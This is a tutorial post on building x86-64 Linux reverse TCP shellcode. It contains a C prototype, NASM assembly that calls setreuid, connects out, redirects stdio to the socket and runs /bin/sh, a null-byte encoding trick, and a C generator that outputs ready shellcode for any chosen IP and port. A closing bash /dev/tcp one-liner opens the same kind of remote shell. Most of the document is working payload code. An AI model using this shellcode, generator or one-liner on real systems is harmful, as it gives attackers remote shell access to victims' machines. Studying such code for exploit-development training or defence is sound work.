Reverse TCP or “connect-back” shellcode connects to a predetermined host and presents a shell from the system where the code is running. If you didn’t already know that, or you don’t understand what that means, you’re in the wrong place. You should probably backtrack to the intro to 64-bit Linux shellcode tutorial or your local library before proceeding further.
The recipe
The shellcode and its prototype each take the following steps:
- Run setreuid() so execve() can run with maximum privileges.
- Create a new socket file descriptor with socket().
- Populate the sockaddr_in data structure with the destination ip, port and connection type.
- Using the information from sockaddr_in, create a TCP connection with connect(). If the connection fails, exit.
- Designate the socket as the source and destination for stdin, stdout and stderr.
- When everything else is done, use execve() to execute /bin/sh.
A zip file containing the files from this post can be found here.
Connect-back prototype in C
The functionality of reverse-tcp shellcode is demonstrated by the following C program, which connects to localhost:4444 and presents a shell from its host system (which should also be localhost, unless something strange happened).
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
#include <stdio.h> #include <unistd.h> #include <arpa/inet.h> #define HOST "127.0.0.1" #define PORT 4444 int main(int argc, char *argv[]) { struct sockaddr_in dest; int sock; // Get maximum privileges. setreuid(0,0); // Create socket file descriptor. sock = socket(AF_INET, SOCK_STREAM, 0); // Populate dest with relevant data. dest.sin_family = AF_INET; dest.sin_addr.s_addr = inet_addr(HOST); dest.sin_port = htons(PORT); // Create a TCP connection. If connection fails, exit. if(connect(sock, (struct sockaddr *)&dest,sizeof(struct sockaddr)) != 0) return 1; // Connect stdin, stdout and stderr to sock. dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); // Run shell with all input and output going over sock. execve("/bin/sh", NULL, NULL); return 0; |
When a tcp listener is established on HOST:PORT (designated by the precompilation #defines) with the command netcat -l 4444 and the connect-back program is run, it creates a shell on the system where it’s running and forwards all input and output from the shell to the listening port on the remote host. To test the prototype or subsequent examples, open two terminals. In the first, type netcat -l 4444. In the second, run the connect-back executable:
|
1 2 3 4 5 6 7 8 9 10 |
$ nc -l 4444 (prints a newline on new connection) ls connectback.c execve_sh.nasm generate.c stub.c exit $ (your local prompt) |
|
1 2 3 4 5 6 |
$ ./connectback [blinking cursor] $ (exits when remote system disconnects) |
When the connect-back program (shellcode or prototype) connects to the host running netcat, netcat will print a newline. Since we didn’t give any arguments to /bin/sh when we called it from execve(), the connect-back shell won’t print an actual prompt. Try typing a command and hitting enter anyway and it should work.
Reverse-connect Shellcode Prototype
The following code is an assembly prototype that implements the same functionality as the C connect-back routine:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 |
BITS 64 ; Syscalls and arguments %assign sys_socket 41 %assign sys_connect 42 %assign SOCK_STREAM 1 %assign AF_INET 2 GLOBAL _start SECTION .data _start: setreuid: ; set real and user id for maximum privileges ; setreuid(ruid, euid) xor rax, rax add rax, 113 ; 113 = setreuid xor rdi, rdi ; real userid xor rsi, rsi ; effective userid syscall socket: ; Create a TCP socket ; int socket(int domain, int type, int protocol); ; rax = socket(AF_INET, SOCK_STREAM, 0) mov rax, sys_socket mov rdi, dword AF_INET mov rsi, dword SOCK_STREAM mov rdx, 0 syscall connect: ; Connect to a remote ip:port ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); mov rdi, rax ; sockfd returned from connect xor rax, rax push rax ; create sockaddr_in on the stack mov rax, 0x0100007f5c110002 push rax mov rsi, rsp ; &sockaddr mov rdx, 16 ; sizeof(sockaddr) = 16 mov rax, sys_connect syscall mov rcx, rax ; if successful->connected else exit jrcxz connected exit: xor rax, rax add rax, 60 ; rax = 60 xor rdi, rdi ; return code (0) syscall ; execute connected: xor rax, rax xor rsi, rsi ; redirect stdin, stdout and stderr to our socket ; rdi = sockfd returned from connect mov rax, 33 ; 33 = dup2, rsi = 0 syscall inc rsi mov rax, 33 ; 33 = dup2, rsi = 1 syscall inc rsi mov rax, 33 ; 33 = dup2, rsi = 2 syscall run: ; execve(char *filename, char *argv[], char *envp[]); xor rax, rax add rax, 59 ; 59 = execve mov rdi, 0xff68732f6e69622f ; "/bin/sh", 0xff shl rdi, 8 ; null the last byte (0xff->0x00) shr rdi, 8 push rdi ; push /bin/sh onto the stack mov rdi, rsp ; get the address of the string xor rsi, rsi ; char *argv[] = null xor rdx, rdx ; char *envp[] = null syscall |
The sequential blocks of instructions perform the same steps, in the same order, as the c routine. Some of the registers and syscalls may be a little disorienting at first, but hopefully the comments help. The most disorienting part of the process (for me at least) was recreating the sockaddr_in structure and pushing it onto the stack so that everything ends up in the right place. sockaddr_in is defined as follows:
|
1 2 3 4 5 6 7 8 9 10 11 12 |
struct sockaddr_in { short sin_family; // AF_INET etc. unsigned short sin_port; // htons(4444) struct in_addr sin_addr; // in_addr = unsigned long char sin_zero[8]; // usually zeroes } struct in_addr { unsigned long s_addr; // long ip address in network-byte order }; |
In memory, sockaddr_in looks like this:
|
1 2 3 4 5 6 7 |
char *sockaddr_in = "x02x00x5cx11" // AF_INET(2) + Port(4444) "x7fx00x00x01" // sin_addr(127.0.0.1) "x00x00x00x00" // zeroes "x00x00x00x00"; |
To create a sockaddr_in structure, the assembly routine pushes eight zero bytes onto the stack, followed by a sequence of bytes that represents the connection family (AF_INET), the destination port and ip address. These values are represented by the sequence 0x0100007f5c110002, where 0100007f is the long int, network byte-order representation of 127.0.0.1, 5c11 is the network-order hex representation of the port number 4444 and 0002 represents AF_INET. Once the contents of the sockaddr_in structure have been pushed onto the stack, esp functions as the pointer to the data.
Running the reverse-connect prototype through nasm2shell shows that the assembly isn’t fit for shellcode yet. For starters, each mov instruction generates a bunch of nulls. Replacing each mov with xor+add instructions cleans up most of the nulls with one, key exception: The IP address, port and connection family bytes in the sockaddr_in structure. The data in the sockaddr struct is crucial, so we can’t get rid of it or fix it by changing instructions. We’ll have to encode it without nulls somehow.
The Finished Connect-back shellcode
The final connect-back assembly routine looks like this:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 |
BITS 64 ; Syscalls and arguments %assign sys_socket 41 %assign sys_connect 42 %assign SOCK_STREAM 1 %assign AF_INET 2 GLOBAL _start SECTION .data _start: setreuid: ; set real and user id for maximum privileges ; setreuid(ruid, euid) xor rax, rax add rax, 113 ; 113 = setreuid xor rdi, rdi ; real userid xor rsi, rsi ; effective userid syscall socket: ; Create a TCP socket ; int socket(int domain, int type, int protocol); ; rax = socket(AF_INET, SOCK_STREAM, 0) xor eax, eax xor rdi, rdi xor rdx, rdx add rax, sys_socket add rdi, AF_INET add rsi, SOCK_STREAM syscall jmp connect ; Derive the remote ip and port by subtracting the adjustment from ; the denulled value. ; Default arrangement: 127.0.0.1:4444 = 0x0100007f5c110002 (after adjustment) adjustment: dq 0x0101010101010101 ; adjustment bits ipport: dq 0x020101805d120103 ; de-nulled ip and port connect: ; Connect to a remote ip:port ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); xor rdi, rdi xor rsi, rsi xor rdx, rdx add rdi, rax ; sockfd returned from connect xor rax, rax push rax ; set up sockaddr on the stack add rax, [rel ipport] ; null adjustment sub rax, [rel adjustment] push rax ; push ip, port and family add rsi, rsp ; &sockaddr add rdx, 16 ; sizeof(sockaddr) = 16 xor rax, rax add rax, sys_connect syscall xor rsi, rsi cmp rsi, rax ; if connect was unsuccessful, exit. je duploop exit: xor rax, rax add rax, 60 ; rax = 60 xor rdi, rdi ; return code (0) syscall ; execute duploop: ; redirect stdin, stdout and stderr to our socket ; dup2(sock, fd) xor rax, rax add rax, 33 ; 33 = dup2 syscall cmp rsi, 0x2 inc rsi jbe duploop run: ; execute a bash shell ; execve(char *filename, char *argv[], char *envp[]); xor rax, rax add rax, 59 ; 59 = execve mov rdi, 0xff68732f6e69622f ; "/bin/sh", 0xff shl rdi, 8 ; null the last byte (0xff->0x00) shr rdi, 8 push rdi ; push /bin/sh onto the stack xor rdi, rdi add rdi, rsp ; get the address of the string xor rsi, rsi ; char *argv[] = null xor rdx, rdx ; char *envp[] = null syscall |
The shellcode’s assembly routine follows the same recipe as the C and assembly prototypes. mov instructions have been replaced with xor+add, and the process of duplicating the socket file descriptor has been turned into a loop.
Encoding Nulls
The biggest difference between the shellcode routine and its prototypes is the treatment of the data in the sockaddr_in structure. The byte array containing the destination IP, port and connection family has been added to a byte array containing 0×0101010101010101. This additive de-nulling transformation is a classic trick. The addition transforms the original null-containing byte array into a null-free array that is safe for shellcode. To recover the original byte array, 0×0101010101010101 is subtracted from the stored value at runtime and the code proceeds as it did before.
Connect-back shellcode generator
Given an IP address and port, the following C program will generate the connect-back shellcode automatically, including correction for null bytes:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 |
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <arpa/inet.h> // byte array containing the default shellcode stub uint8_t shellcode[] = "x48x31xc0x48x83xc0x71x48x31xffx48x31xf6x0fx05x31xc0x48x31xffx48x31xd2x48x83xc0x29x48x83xc7x02x48x83xc6x01x0fx05xebx10x01x01x01x01x01x01x01x01x03x01x12x5dx80x01x01x02x48x31xffx48x31xf6x48x31xd2x48x01xc7x48x31xc0x50x48x03x05xe1xffxffxffx48x2bx05xd2xffxffxffx50x48x01xe6x48x83xc2x10x48x31xc0x48x83xc0x2ax0fx05x48x31xf6x48x39xc6x74x0cx48x31xc0x48x83xc0x3cx48x31xffx0fx05x48x31xc0x48x83xc0x21x0fx05x48x83xfex02x48xffxc6x76xeex48x31xc0x48x83xc0x3bx48xbfx2fx62x69x6ex2fx73x68xffx48xc1xe7x08x48xc1xefx08x57x48x31xffx48x01xe7x48x31xf6x48x31xd2x0fx05"; // Remove nulls from the ip:port/connection family data uint64_t denull(uint64_t input) { uint64_t adjustment = 0; do { input -= 0x0101010101010101; adjustment+= 0x0101010101010101; } while( ((input & 0x00000000000000ff) == 0) || ((input & 0x000000000000ff00) == 0) || ((input & 0x0000000000ff0000) == 0) || ((input & 0x00000000ff000000) == 0) || ((input & 0x000000ff00000000) == 0) || ((input & 0x0000ff0000000000) == 0) || ((input & 0x00ff000000000000) == 0) || ((input & 0xff00000000000000) == 0) ); return adjustment; } // print the ASCII hexadecimal representation of the shellcode void printhex(uint8_t *buffer, int length) { int i; printf("""); for(i=0; i<length; i++) { if(buffer[i]<0x10) // print leading 0, ie x0f instead of xf printf("\x0%x", buffer[i]); else printf("\x%x", buffer[i]); } printf(""n"); return; } // patch the shellcode to include host:ip data, do a sanity check and print. void patch(uint8_t *shellcode, char *ip, int portnumber) { uint64_t denulled, recovered, adjustment; uint64_t network = inet_addr(ip); uint32_t port = ntohs(portnumber); network = (network<<32) + (port<<16) + 2; // ip+port+family adjustment = denull(network); denulled = network + adjustment; *(uint64_t *)&shellcode[39] = adjustment; *(uint64_t *)&shellcode[47] = denulled; recovered = denulled - adjustment; // sanity check: if recovered network info if(network != recovered) { printf("Error! Recovered network information doesn't equal original!n"); printf("Original:t%x%xn", (unsigned int) (network>>32), (unsigned int) network); printf("Adjustment:t%x0%xn", (unsigned int) (adjustment>>32),(unsigned int) (adjustment)); printf("Denulled:t%x%xn", (unsigned int) (denulled>>32), (unsigned int) (denulled)); printf("Recovered:t%x%xn", (unsigned int) (recovered>>32), (unsigned int) (recovered)); exit(0); } //printhex(shellcode, length); printhex(shellcode, 180); } int main(int argc, char *argv[]) { if(argc<3) { printf("Usage: %s host ipn", argv[0]); return 0; } // patch the shellcode with the user-provided ip and port patch(shellcode, argv[1], atoi(argv[2])); return 0; } |
The generator’s functions are pretty straightforward, so the details are left as an exercise to the reader.
The zip file containing the files from this post can be found here.
Bonus
On most linux distributions, the following bash one-liner will function in the same way as reverse TCP shellcode:
|
1 2 3 |
bash -i >& /dev/tcp/HOST/PORT 0>&1 |
A similar technique is used by some reverse-connect shellcode.